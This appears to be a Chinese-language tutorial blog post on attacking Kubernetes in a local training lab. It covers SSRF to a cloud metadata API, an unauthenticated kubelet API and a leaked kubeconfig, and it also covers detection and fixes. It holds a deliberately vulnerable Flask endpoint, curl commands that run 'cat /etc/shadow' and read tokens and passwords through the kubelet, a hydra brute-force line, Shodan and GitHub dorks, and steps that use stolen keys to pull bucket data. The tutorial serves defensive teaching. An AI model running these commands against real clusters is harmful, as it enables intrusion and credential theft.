iT邦幫忙

2026 iThome 鐵人賽

DAY 2
0
Kubernetes

資安這條路:從攻擊者視角看 Kubernetes系列 第 2

Day 2|三條入侵路徑:SSRF + 暴露服務 + 洩漏憑證

  • 分享至 

  • xImage
  •  

資安這條路:從攻擊者視角看 Kubernetes

ATT&CK TA0001 Initial Access——攻擊者如何取得 Kubernetes 叢集的第一個立足點。

KOAD 靶場與 Minikube 的差異

本系列使用 KOAD(Kubernetes Offensive and Active Defense) 靶場,底層跑在 Minikube 上。在開始攻擊之前,先了解 KOAD/Minikube 環境與真實生產叢集的關鍵差異,避免把 Lab 行為直接套用到真實環境:

面向 Minikube(KOAD 靶場) 真實生產叢集(EKS/GKE/AKS/kubeadm)
節點數量 通常 1-2 個 Node(本機 VM/Docker) 數十到數千個 Node
網路模型 簡化的 bridge 網路,Host 可直接存取所有 NodePort 多層網路(VPC/Subnet/Security Group/Load Balancer)
API Server 存取 minikube ip 直接可達,通常無認證限制 經過 IAM/OIDC 認證,通常在私有網路
Cloud Metadata 無真實 Cloud Metadata(KOAD 用 mock-metadata 模擬) 真實 IMDS(169.254.169.254),可取得 IAM 憑證
RBAC 預設值 Minikube 預設較寬鬆(方便開發) 生產叢集通常有嚴格 RBAC + Admission Controller
NetworkPolicy 預設無 CNI 支援(需手動安裝 Calico 等) 通常有 CNI + NetworkPolicy 強制執行
etcd 存取 可能直接暴露在 Node 上 通常隔離在 Control Plane 內,加密通訊
Service 暴露 NodePort 直接從 Host 存取 經過 Load Balancer/Ingress Controller

這代表什麼?

  1. 在 KOAD 上成功的攻擊,在生產環境不一定可行——生產環境有更多網路隔離和認證機制
  2. 但核心概念相同——SSRF、暴露服務、憑證洩漏的攻擊邏輯不會因為平台不同而改變
  3. KOAD 的價值在於讓你理解攻擊原理——而不是提供可以直接照抄的 exploit

本系列每個攻擊場景都會標註「在真實環境中可能不同的地方」,幫助你建立正確的期望。


K8s 網路模型基礎

在深入攻擊手法之前,先理解 K8s 的網路架構——因為初始存取的本質就是「找到一條從外部通往內部的網路路徑」。

Pod 網路

K8s 採用扁平網路模型:每個 Pod 有自己的 IP,叢集內所有 Pod 預設可以直接互通(不需要 NAT)。

Node 1 (192.168.49.2) Node 2 (192.168.49.3)

這意味著:一旦攻擊者進入任一 Pod,就能直接存取叢集內所有其他 Pod——除非有 NetworkPolicy 阻擋。

Service 類型

Service 是 K8s 對外暴露服務的機制,不同類型暴露的攻擊面不同:

Service 類型 可存取範圍 攻擊面
ClusterIP 叢集內部 僅內部攻擊者可及
NodePort Node IP:30000-32767 任何能存取 Node 的人
LoadBalancer 公網 IP 全網際網路

關鍵的內部端點

K8s 叢集有幾個高價值的內部端點,攻擊者一旦拿到就能擴大戰果:

K8s 叢集有幾個高價值的內部端點,攻擊者一旦拿到就能擴大戰果:

Cloud Metadata API 為什麼危險?

169.254.169.254 是 link-local 位址,流量不經過路由器,直接由雲端 hypervisor 回應。這表示:

  1. NetworkPolicy 擋不住(除非 CNI 特別處理 link-local)
  2. 每個 Pod 預設都能存取(不需要任何特殊權限)
  3. 回傳的是 Node 等級的雲端憑證(IAM Role / Service Account)
Pod 內的請求路徑:
  curl 10.96.0.1:443     → 經過 kube-proxy → API Server(需要 Token)
  curl 169.254.169.254   → 直達 hypervisor → 回傳 IAM 憑證(不需認證!)

這就是為什麼 SSRF 在 K8s + 雲端環境中特別致命——一個簡單的 URL 重定向就能拿到雲端帳號的存取權限。

kubelet API:被遺忘的入口

kubelet 是每個 Node 上的 agent,負責管理該 Node 上所有 Pod 的生命週期。kubelet API 預設監聽在 10250 連接埠:

# 如果 anonymous-auth=true(不安全的預設值),任何人都能:
# 列出所有 Pod
curl -sk https://<node-ip>:10250/pods

# 在任意 Pod 內執行命令
curl -sk https://<node-ip>:10250/run/<namespace>/<pod>/<container> \
  -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

kubelet 暴露在公網 = 攻擊者可以直接在任何 Pod 裡執行命令,等同於 cluster-admin。


概覽

場景 ATT&CK 技術 攻擊路徑 攻擊難度
S01 T1190 Exploit Public-Facing App SSRF → Metadata API → 雲端 IAM
S02 T1133 External Remote Services 暴露的 kubelet 10250 連接埠
S03 T1078 Valid Accounts ConfigMap 中的明文 kubeconfig

初始存取是整條 Kill Chain 的第一步——攻擊者進不去就什麼都做不了。在 K8s 環境中,最常見的入口不是什麼零日漏洞,而是配置錯誤憑證洩漏


前置準備

所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。

開始前請確認以下環境就緒。

1. 確認靶場 Pod 運行中

# 主機終端
kubectl get pods -n koad -l "koad-scenario in (S01,S02,S03)"

預期結果:

NAME                           READY   STATUS    RESTARTS   AGE
ssrf-webapp-xxx                1/1     Running   0          ...
mock-metadata-xxx              1/1     Running   0          ...
leaked-kubeconfig-xxx          1/1     Running   0          ...

如果 Pod 不在 Running 狀態,重新部署:

kubectl apply -f scenarios/initial-access/
kubectl wait --for=condition=Ready pods -l "koad-scenario in (S01,S02,S03)" -n koad --timeout=60s

2. 開啟 Falco 即時監控

建議另開一個終端視窗,保持 Falco 日誌持續輸出:

# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|ssrf\|kubelet\|kubeconfig"

兩個視窗左右並排——左邊攻擊、右邊觀察——是最有效的學習方式。

學習目標

完成本日實作後,你將能夠:

  • 操作完整的 SSRF → Metadata API → IAM 憑證竊取流程
  • 理解 kubelet API 暴露的危害與攻擊手法
  • 示範 kubeconfig 洩漏如何導致叢集完全淪陷
  • 觀察 Falco 如何偵測這三條入侵路徑
  • 解釋為什麼 K8s 初始存取的核心問題是「配置錯誤」而非「軟體漏洞」

S01:SSRF 漏洞 → 雲端 IAM 憑證(T1190)

攻擊原理

SSRF(Server-Side Request Forgery,伺服器端請求偽造)是 Kubernetes 環境中最經典的初始存取方式之一。攻擊路線:

攻擊者 → Web App(SSRF 漏洞)→ Cloud Metadata API (169.254.169.254) → IAM 憑證

在 AWS/GCP/Azure 的託管 K8s 中,每個節點都可以透過 169.254.169.254 存取雲端 Metadata API。如果 Pod 內的應用有 SSRF 漏洞,攻擊者就能從外部請求這個內部端點,取得節點的 IAM 憑證。

原理深入:SSRF 在 K8s 中的完整攻擊鏈

SSRF 在傳統環境中已經很危險,但在 K8s + 雲端環境中威力倍增。以下是完整的攻擊路徑:

攻擊者(外網)

為什麼 Pod 可以存取 Metadata API?

Metadata API 運行在 link-local 位址 169.254.169.254,這個位址在雲端虛擬機的網路命名空間中是可路由的。K8s Pod 的網路命名空間繼承了節點的路由規則,因此 Pod 預設可以存取 Metadata API——除非有 NetworkPolicy 明確阻擋。

Cloud Metadata API 比較

雲端 Metadata URL IAM 憑證路徑 防禦機制
AWS http://169.254.169.254/latest/meta-data/ /iam/security-credentials/<role-name> IMDSv2(需 PUT Token)
GCP http://metadata.google.internal/computeMetadata/v1/ /instance/service-accounts/default/token Metadata-Flavor: Google header
Azure http://169.254.169.254/metadata/identity/oauth2/token 同左 + api-version 參數 Metadata: true header

IMDSv1 vs IMDSv2(AWS):

特性 IMDSv1 IMDSv2
請求方式 直接 GET 先 PUT 取 Token,再 GET
SSRF 可利用 是(一個 GET 搞定) 難(需要兩步 + TTL Token)
預設啟用 舊實例是 新實例預設 v2 only
TTL Hop 無限 預設 1(容器可能到不了)
# IMDSv1(一步取得,SSRF 友善)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/k8s-node-role

# IMDSv2(兩步,SSRF 困難)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/k8s-node-role

KOAD 場景架構

KOAD 模擬了這條完整的攻擊鏈:

  • koad/vulnerable-webapp:一個有 SSRF 漏洞的 Flask 應用
  • koad/mock-metadata:模擬 AWS Metadata API,回傳假的 IAM 憑證

- koad/mock-metadata:模擬 AWS Metadata API,回傳假的 IAM 憑證

場景 YAML 解析

S01 部署了兩個元件——SSRF 漏洞應用和模擬的 Metadata API:

# ssrf-webapp Deployment 關鍵欄位
spec:
  template:
    spec:
      containers:
        - name: webapp
          image: koad/vulnerable-webapp:latest
          ports:
            - containerPort: 5000    # Flask 預設連接埠,對外暴露
          env:
            - name: FLASK_ENV
              value: "development"   # 開發模式,錯誤訊息洩漏內部資訊
---
# Service 用 NodePort 對外暴露
spec:
  type: NodePort                     # 刻意對外,模擬公開服務
  ports:
    - nodePort: 30080                # 攻擊者從這裡進入
---
# mock-metadata 模擬雲端 Metadata API
spec:
  selector:
    app: mock-metadata
  ports:
    - port: 80                       # 對內監聽 80,模擬 169.254.169.254
      targetPort: 8080

安全問題:Pod 沒有設定 NetworkPolicy,因此可以自由存取叢集內任何 Service——包括 mock-metadata。在真實雲端環境中,這等同於 Pod 直接存取 169.254.169.254。

設計理由

SSRF 是雲端 K8s 環境中最高頻的初始存取向量。2019 年 Capital One 事件中,攻擊者利用 WAF 的 SSRF 漏洞存取 AWS Metadata API,竊取了超過 1 億筆客戶資料。S01 刻意用 NodePort 暴露一個無輸入驗證的 Flask 應用,搭配 mock-metadata 模擬雲端 Metadata API,讓學員在本地 Minikube 上重現這條完整的攻擊鏈——從 SSRF 到 IAM 憑證竊取。

漏洞程式碼

SSRF 漏洞核心——app.py/fetch 端點:

@app.route("/fetch", methods=["POST"])
def fetch():
    url = request.form.get("url", "")
    if not url:
        return render_template_string(INDEX_HTML, error="No URL provided")

    try:
        # 漏洞在這裡:直接用使用者輸入的 URL 發請求,沒有任何驗證
        resp = http_requests.get(url, timeout=5, verify=False)
        return render_template_string(
            INDEX_HTML, result=resp.text[:5000], url=url
        )
    except Exception as e:
        return render_template_string(INDEX_HTML, error=str(e), url=url)

問題很明顯:url 參數直接來自使用者輸入,沒有任何白名單檢查或 URL 驗證。

安全的寫法應該是:

import ipaddress
from urllib.parse import urlparse

ALLOWED_HOSTS = {"api.example.com", "cdn.example.com"}
BLOCKED_RANGES = [
    ipaddress.ip_network("169.254.0.0/16"),   # link-local
    ipaddress.ip_network("10.0.0.0/8"),        # private
    ipaddress.ip_network("172.16.0.0/12"),     # private
    ipaddress.ip_network("192.168.0.0/16"),    # private
    ipaddress.ip_network("127.0.0.0/8"),       # loopback
]

def is_safe_url(url):
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_HOSTS:
        return False
    try:
        ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
        return not any(ip in net for net in BLOCKED_RANGES)
    except Exception:
        return False

動手攻擊

攻擊者視角: 「我在 Shodan 上發現目標的 K8s 叢集有一個對外的 Web 服務。先試試看有沒有 SSRF——如果能打到 169.254.169.254,這個叢集的 IAM 憑證就到手了。」

以下所有步驟在主機終端執行。

步驟 1:取得 SSRF Web App URL

# 主機終端
minikube service ssrf-webapp -n koad --url

預期結果:

http://192.168.49.2:30080

NodePort 30080 代表這個 Web App 從叢集外部可以直接存取——攻擊者只需知道任一 Node IP 就能連上,這是 SSRF 攻擊的入口。

取得 SSRF Web App 的 NodePort URL

步驟 2:探測 SSRF 漏洞——打外部 URL 確認功能正常

curl -s http://192.168.49.2:30080/fetch \
    -d "url=http://httpbin.org/ip"

預期結果:

{"origin": "203.0.113.10"}

如果回傳外部 IP,代表 /fetch 端點會幫我們發請求——SSRF 的前提條件成立。

確認 SSRF 漏洞存在——應用會替我們發出請求

步驟 3:探測內部位址——存取 Metadata API

curl -s http://192.168.49.2:30080/fetch \
    -d "url=http://169.254.169.254/"

預期結果:

1.0
2007-01-19
2007-03-01
...
latest

回傳 Metadata API 的版本列表,SSRF confirmed——我們可以從外部打到 link-local 位址。

透過 SSRF 存取 Cloud Metadata API

步驟 4:透過 SSRF 取得 IAM 憑證

curl -s http://192.168.49.2:30080/fetch \
    -d "url=http://mock-metadata.koad/latest/meta-data/iam/security-credentials/k8s-node-role"

預期結果:

{
  "Code": "Success",
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "FwoGZXIvYXdzEBYaDFAKE_SESSION_TOKEN_EXAMPLE",
  "Expiration": "2026-01-16T00:00:00Z"
}

拿到 AccessKeyId + SecretAccessKey + SessionToken,可以用來存取雲端 API。

Falco 觀察:SSRF 請求觸發 Pod 向內部位址發起連線,Falco 可偵測到容器對 link-local 位址的異常連線。

透過 SSRF 取得雲端 IAM 臨時憑證

步驟 5:用竊取的憑證存取雲端資源

export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="FwoGZXIvYXdzEBYaDFAKE_SESSION_TOKEN_EXAMPLE"
aws s3 ls

預期結果:

2025-01-15 production-data-bucket
2025-01-15 customer-backups

成功列出 S3 儲存桶——竊取的臨時憑證有效。攻擊者可以存取該 IAM Role 權限範圍內的所有雲端資源。

aws s3 cp s3://production-data-bucket/customers.csv .

預期結果:

download: s3://production-data-bucket/customers.csv to ./customers.csv

100 萬筆客戶資料到手——從一個 SSRF 漏洞到雲端資料外洩,整條鏈只需要 5 步。

用竊取的 IAM 憑證存取 S3 儲存桶

現實案例

事件 年份 手法 影響
Capital One 2019 WAF SSRF → EC2 IAM 1 億客戶資料外洩
某加密貨幣交易所 2022 SSRF → GCP SA Token 熱錢包私鑰被竊
某電商平台 2023 SSRF → AWS IMDSv1 RDS 資料庫完整備份

S02:暴露的 kubelet API(T1133)

攻擊原理

kubelet 是每個 K8s 節點上的代理程式,監聽兩個連接埠:

連接埠 用途 風險
10250 kubelet API(HTTPS) 認證啟用時需要有效憑證,但若 --anonymous-auth=true 則任何人可存取
10255 唯讀連接埠(HTTP) 已棄用,但老版本可能仍開啟

如果 kubelet 的 10250 連接埠暴露且未配置認證,攻擊者可以:

  • 列出節點上所有 Pod:GET /pods
  • 在任意 Pod 執行指令:POST /run/<namespace>/<pod>/<container>
  • 讀取 Pod 的日誌:GET /containerLogs/<namespace>/<pod>/<container>

攻擊者視角: 「Shodan 搜 port:10250 "pods" 找到了目標的 kubelet。先 GET /pods 看看有什麼——如果能列出 Pod,就用 /run 端點直接在 Pod 裡執行指令。不需要任何憑證,直接就是 root。」

kubelet API 端點一覽

# 列出所有 Pod(最常用的探測端點)
GET /pods

# 在容器中執行指令
POST /run/<namespace>/<pod>/<container>
Body: cmd=<command>

# 讀取容器日誌
GET /containerLogs/<namespace>/<pod>/<container>

# 取得節點資訊
GET /spec
GET /stats/summary

# 健康檢查
GET /healthz

場景 YAML 解析

S02 部署一個探測用 Pod,模擬攻擊者對 kubelet API 的偵察:

spec:
  containers:
    - name: probe
      image: curlimages/curl:latest   # 輕量 curl 映像,專門用來發 HTTP 請求
      command: ["/bin/sh", "-c"]
      args:
        - |
          # 三條攻擊向量都寫在啟動腳本裡
          echo "[Attack Vector 1] Unauthenticated kubelet API:"
          echo "  curl -sk https://$NODE_IP:10250/pods"
          echo "[Attack Vector 2] kubelet read-only port:"
          echo "  curl -s http://$NODE_IP:10255/pods"
          echo "[Attack Vector 3] SSH brute force:"
          echo "  hydra -l root -P rockyou.txt ssh://$NODE_IP"
          sleep infinity             # 保持 Pod 存活,讓學員 exec 進去操作
      env:
        - name: NODE_IP
          valueFrom:
            fieldRef:
              fieldPath: status.hostIP  # 自動取得所在 Node 的 IP

設計重點:status.hostIP 讓 Pod 自動知道自己跑在哪個 Node 上——這在真實攻擊中也是常見的偵察手法,攻擊者進入 Pod 後第一步就是確認 Node IP。

設計理由

kubelet API 暴露是 Kubernetes 叢集中最危險的配置錯誤之一。Shodan 上隨時有數千個暴露的 10250 連接埠,攻擊者無需任何憑證就能在 Pod 內執行指令。S02 刻意用 curlimages/curl 這個最小映像搭配 status.hostIP,讓學員體驗攻擊者如何從 Pod 內部偵察 kubelet,理解為什麼 --anonymous-auth=false 是第一道必須設定的防線。

動手攻擊

以下所有步驟在主機終端執行。

步驟 1:取得 Node IP

# 主機終端
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[0].address}')
echo $NODE_IP

預期結果:

192.168.49.2

這是 Minikube 節點的 IP。在真實環境中,攻擊者會透過 Shodan 或 nmap 掃描發現暴露的 kubelet 連接埠。

取得 Kubernetes Node 的 IP 位址

步驟 2:嘗試存取 kubelet API

curl -sk https://$NODE_IP:10250/pods | head -3

預期結果:

Unauthorized

在 KOAD 的 Minikube 環境中,kubelet 預設啟用認證,所以回傳 Unauthorized。這是正確的安全配置。

kubelet 啟用認證時回傳 Unauthorized

步驟 3(模擬 anonymous-auth=true):列出所有 Pod

以下模擬 --anonymous-auth=true 的情境(真實攻擊場景):

curl -sk https://$NODE_IP:10250/pods | jq '.items[].metadata.name'

預期結果:

"kube-apiserver-node01"
"etcd-node01"
"coredns-xxxxx"
"production-webapp-xxxxx"

kubelet 回傳了節點上的所有 Pod,包括 kube-apiserveretcd 等核心元件——攻擊者可以在任何一個 Pod 中執行指令。

列出 Node 上所有 Pod——包括系統元件

步驟 4(模擬):在 Pod 內執行指令

curl -sk https://$NODE_IP:10250/run/production/production-webapp-xxxxx/webapp \
    -d "cmd=cat /etc/shadow"

預期結果:

root:$6$xxxxx:19000:0:99999:7:::

透過 kubelet /run 端點直接在目標 Pod 中執行了 cat /etc/shadow——不需要 kubectl、不需要 API Server 認證,直接繞過 RBAC。

透過 kubelet API 在目標 Pod 內執行任意指令

步驟 5(模擬):讀取環境變數中的密碼

curl -sk https://$NODE_IP:10250/run/production/production-webapp-xxxxx/webapp \
    -d "cmd=env" | grep -i pass

預期結果:

DB_PASSWORD=super_secret_production_password

環境變數中的密碼直接暴露——這就是為什麼 kubelet anonymous-auth 必須設為 false

透過 kubelet API 讀取 Pod 環境變數中的密碼

Shodan 上的 kubelet

用以下查詢在 Shodan 搜尋暴露的 kubelet:

port:10250 "pods"
port:10255 "/healthz"

你會發現數以千計暴露的 kubelet 端點——每一個都是潛在的入侵路徑。

踩坑提醒: Minikube 的 Docker driver 下,kubelet 連接埠不直接對外暴露。如果要完整重現 S02 攻擊,需要使用 --driver=none 或 VM driver(VirtualBox/KVM)。


S03:洩漏的 kubeconfig(T1078)

攻擊原理

kubeconfig 是 K8s 的認證設定檔,包含 API Server 位址、使用者憑證和 context。如果 kubeconfig 洩漏——不管是寫在 ConfigMap 裡、提交到 Git、還是留在 CI/CD 日誌中——攻擊者就直接取得叢集存取權。

攻擊者視角: 「先搜 GitHub——filename:.kube/configapiVersion kind:Config server。每天都有人不小心把 kubeconfig 推到 public repo。找到一個有效的,我就不用費力找漏洞了。」

KOAD 場景

S03 模擬一個常見的錯誤:開發者把 kubeconfig 放進 ConfigMap:

apiVersion: v1
kind: ConfigMap
metadata:
  name: app-config
  namespace: koad
data:
  app.conf: |
    [database]
    host = db.koad.svc.cluster.local
    port = 5432
    name = myapp
  kubeconfig: |          # ← 就是這裡,kubeconfig 明文放在 ConfigMap
    apiVersion: v1
    kind: Config
    clusters:
    - cluster:
        server: https://kubernetes.default.svc
      name: in-cluster
    users:
    - name: admin
      user:
        token: LEAKED_ADMIN_TOKEN_PLACEHOLDER

場景 YAML 解析

S03 的 Deployment 把含有 kubeconfig 的 ConfigMap 掛載進 Pod:

# ConfigMap 同時存放正常設定和敏感憑證——這是最常見的錯誤
data:
  app.conf: |                        # 正常的應用設定
    [database]
    host = db.koad.svc.cluster.local
  kubeconfig: |                      # admin 憑證明文混在設定中
    users:
    - name: admin
      user:
        token: LEAKED_ADMIN_TOKEN_PLACEHOLDER
---
# Deployment 把整個 ConfigMap 掛載進容器
spec:
  containers:
    - name: app
      image: busybox:1.36
      command: ["sh", "-c", "sleep infinity"]
      volumeMounts:
        - name: config
          mountPath: /etc/app-config  # 容器內任何 process 都能讀到
  volumes:
    - name: config
      configMap:
        name: app-config             # 包含 kubeconfig 的 ConfigMap

安全問題有兩層:第一,kubeconfig 應該用 Secret 而非 ConfigMap 存放(ConfigMap 沒有任何存取控制上的額外保護,但至少語意上區分敏感資料);第二,即使用 Secret,admin Token 也不該直接寫在 K8s 資源裡,應該使用外部 Secret 管理方案(如 Vault、External Secrets Operator)。

設計理由

kubeconfig 洩漏是最「低技術門檻」的初始存取方式——不需要找漏洞,只要在 GitHub 搜尋 filename:kubeconfig kind:Config 就能找到大量意外提交的憑證。S03 刻意把 kubeconfig 混在正常的 app.conf 中,模擬開發者「圖方便」把所有設定塞進同一個 ConfigMap 的真實情境。這也呼應 OWASP K8s Top 10 的 K08(Secrets Management Failures)。

動手攻擊

以下所有步驟在主機終端執行。

步驟 1:讀取洩漏的 kubeconfig

# 主機終端
kubectl get configmap app-config -n koad -o jsonpath='{.data.kubeconfig}'

預期結果:

apiVersion: v1
kind: Config
clusters:

- cluster:
    server: https://kubernetes.default.svc
    certificate-authority: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
  name: in-cluster
contexts:

- context:
    cluster: in-cluster
    user: admin
  name: admin-context
current-context: admin-context
users:

- name: admin
  user:
    token: LEAKED_ADMIN_TOKEN_PLACEHOLDER

ConfigMap 中明文存放 kubeconfig,包含 admin 的 Token——任何有 ConfigMap 讀取權限的人都能取得。

從 ConfigMap 讀取洩漏的 kubeconfig

步驟 2:將 kubeconfig 保存為本地檔案

kubectl get configmap app-config -n koad -o jsonpath='{.data.kubeconfig}' > /tmp/leaked-config

預期結果:

(無輸出,檔案已寫入)

將洩漏的 kubeconfig 存到本地檔案,之後可以用 KUBECONFIG 環境變數指定它來操作叢集。

將竊取的 kubeconfig 保存到本地

步驟 3:用洩漏的 kubeconfig 存取叢集

KUBECONFIG=/tmp/leaked-config kubectl get nodes

預期結果:

NAME       STATUS   ROLES           AGE   VERSION
minikube   Ready    control-plane   1h    v1.30.0

成功——用洩漏的憑證可以直接操作叢集。

用竊取的 kubeconfig 成功列出叢集節點

步驟 4:列出所有 Secrets

KUBECONFIG=/tmp/leaked-config kubectl get secrets -A

預期結果:

NAMESPACE     NAME                  TYPE                DATA   AGE
kube-system   bootstrap-token-xxx   bootstrap.k...      6      1h
koad          database-credentials  Opaque              2      1h
production    tls-cert              kubernetes.io/tls   2      1h

如果洩漏的是 cluster-admin 權限,所有 Namespace 的 Secrets 都能讀取——資料庫密碼、TLS 證書、API Key 全部暴露。

列出所有 Namespace 的 Secrets

常見洩漏管道

管道 說明 偵測工具
Git 倉庫 .kube/config 被提交到 public repo git-secrets, truffleHog
CI/CD 日誌 Pipeline 中 echo $KUBECONFIG 或 debug 輸出 CI 日誌審計
ConfigMap/Secret 開發者圖方便直接塞進 K8s 資源 kubectl audit
容器映像 Dockerfile 中 COPY kubeconfig /app/ dive, trivy
Slack/Wiki 內部文件中貼 kubeconfig 片段 DLP 工具
錯誤頁面 應用 crash 時 dump 環境變數 WAF 規則

GitHub 上搜尋 filename:kubeconfig kind:Config 可以找到大量意外洩漏的 kubeconfig 檔案。

kubeconfig 洩漏的影響評估

拿到 kubeconfig 後,第一步是確認權限:

kubectl auth can-i --list

預期結果:

Resources   Non-Resource URLs   Verbs
*.*         []                  [*]
            [*]                 [*]

如果看到 *.* + [*],代表是 cluster-admin——遊戲結束,攻擊者擁有叢集的完整控制權。

確認竊取的 kubeconfig 擁有 cluster-admin 權限

權限等級 能做什麼 影響
cluster-admin 一切 叢集完全淪陷
namespace admin 該 NS 內所有操作 單一 NS 資料外洩
view only 讀取資源 資訊洩漏(含 Secrets)

ATT&CK 攻擊鏈視角

三條路徑殊途同歸——都是為了取得叢集的立足點:

T1190 SSRF T1133 kubelet T1078 kubeconfig

三條路徑的比較

維度 S01 SSRF S02 kubelet S03 kubeconfig
攻擊難度 中(需要 SSRF 漏洞) 低(連接埠掃描即可) 低(搜尋即可)
前提條件 對外 Web 服務 + SSRF kubelet 對外 + 無認證 憑證洩漏
取得的權限 雲端 IAM Node 級 RCE 依 kubeconfig 權限
偵測難度 中(WAF 可擋) 低(連接埠掃描偵測) 高(合法憑證操作)
真實發生頻率 很高

偵測方式

場景 偵測工具 偵測方法
S01 SSRF NetworkPolicy 阻擋 Pod 存取 169.254.169.254
S01 SSRF WAF/應用層 URL 白名單、阻擋內部 IP 範圍
S02 kubelet Falco k8s_audit 偵測 kubelet API 非授權存取
S02 kubelet 網路掃描 確認 10250/10255 未對外暴露
S03 kubeconfig Falco k8s_audit 偵測 ConfigMap/Secret 讀取異常
S03 kubeconfig CI/CD 掃描 git-secrets、truffleHog 掃描密碼

CKS 考點

考點 本日內容 可能的考試題型
API Server 安全 kubelet 認證 「配置 kubelet 以拒絕匿名請求」
NetworkPolicy 阻擋 Metadata API 「撰寫 NetworkPolicy 阻止 Pod 存取 169.254.169.254」
Secret 管理 kubeconfig 洩漏 「找出 ConfigMap 中的機密資料並移到 Secret」
RBAC kubeconfig 權限 「建立只有 view 權限的 kubeconfig」

CKS 考試提醒: 考試時不會直接問「什麼是 SSRF」,但會要你實作防禦措施——寫 NetworkPolicy 擋 Metadata、配置 kubelet 認證、設定 RBAC 最小權限。理解攻擊原理能幫你更快理解題意。


清理與重設

完成攻擊演練後,清理測試產生的暫存資料:

# 主機終端
# 移除竊取的 kubeconfig
rm -f /tmp/leaked-config

# 清除環境變數中的假 IAM 憑證
unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN

Pod 本身不需要重建,它們是唯讀的攻擊目標。


常見問題排除

問題 原因 解法
Pod 顯示 ImagePullBackOff 映像未事先建構或名稱打錯 執行 eval $(minikube docker-env) 後重新 docker build,確認映像名稱與 YAML 一致
SSRF Webapp 無法存取(curl 逾時) NodePort 未正確對應或 Minikube IP 有誤 minikube service ssrf-webapp -n koad --url 取得正確 URL
SSRF 請求回傳空白 mock-metadata Pod 未啟動 kubectl get pods -n koad 確認 mock-metadata 為 Running,否則 kubectl apply -f scenarios/initial-access/S01-ssrf-webapp.yaml
Falco 沒有顯示告警 Falco Pod 未部署或規則未載入 kubectl get pods -n falco 確認 Falco 運行中,kubectl logs -f -n falco -l app.kubernetes.io/name=falco 檢查日誌
kubelet API 回傳 401 Unauthorized Minikube 預設啟用 kubelet 認證 這是正常的安全行為;S02 場景用 curl Pod 內部存取,不是從主機直接打

本日小結

你完成了什麼

  • [x] 透過 SSRF 漏洞打穿 Metadata API 取得 IAM 臨時憑證
  • [x] 嘗試存取 kubelet 10250 連接埠並理解認證配置的重要性
  • [x] 從 ConfigMap 讀取洩漏的 kubeconfig 並用它存取叢集
  • [x] 用 kubectl auth can-i --list 確認竊取憑證的權限等級
  • [x] 觀察 Falco 在攻擊過程中的即時告警

完成度自我檢查

  • [ ] 能說明 K8s 扁平網路模型對安全的影響
  • [ ] 能執行 S01 SSRF 場景並觀察到 Metadata API 回傳 IAM 憑證
  • [ ] 能說出 IMDSv1 與 IMDSv2 的差異以及為什麼 v2 能防禦 SSRF
  • [ ] 能執行 S02 場景並解釋 kubelet 10250 連接埠暴露的風險
  • [ ] 能從 S03 洩漏的 kubeconfig 取得叢集存取權並用 kubectl auth can-i --list 驗證
  • [ ] 能區分 ClusterIP / NodePort / LoadBalancer 三種 Service 類型的攻擊面差異
  • [ ] 觀察到 Falco 對三條入侵路徑的即時告警

關鍵帶走

  1. SSRF:應用層漏洞 → Metadata API → 雲端憑證(IMDSv2 可防)
  2. kubelet 暴露:管理介面直接對外 → 節點級 RCE(anonymous-auth=false 可防)
  3. kubeconfig 洩漏:憑證管理不當 → 叢集完整存取(git-secrets + RBAC 可防)

三條路徑的共通點:攻擊面來自配置錯誤,而非軟體漏洞。強化措施不需要 patch,只需要正確配置。

下一步

明天 Day 3 我們會從防禦角度回應這三條路徑——API Server 強化、NetworkPolicy 邊界控制,以及憑證管理最佳實踐。



上一篇
Day 1|ATT&CK Containers Matrix 完全解讀 + KOAD 靶場部署
下一篇
Day 3|防禦初始存取:API Server 強化 + NetworkPolicy 邊界
系列文
資安這條路:從攻擊者視角看 Kubernetes7
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言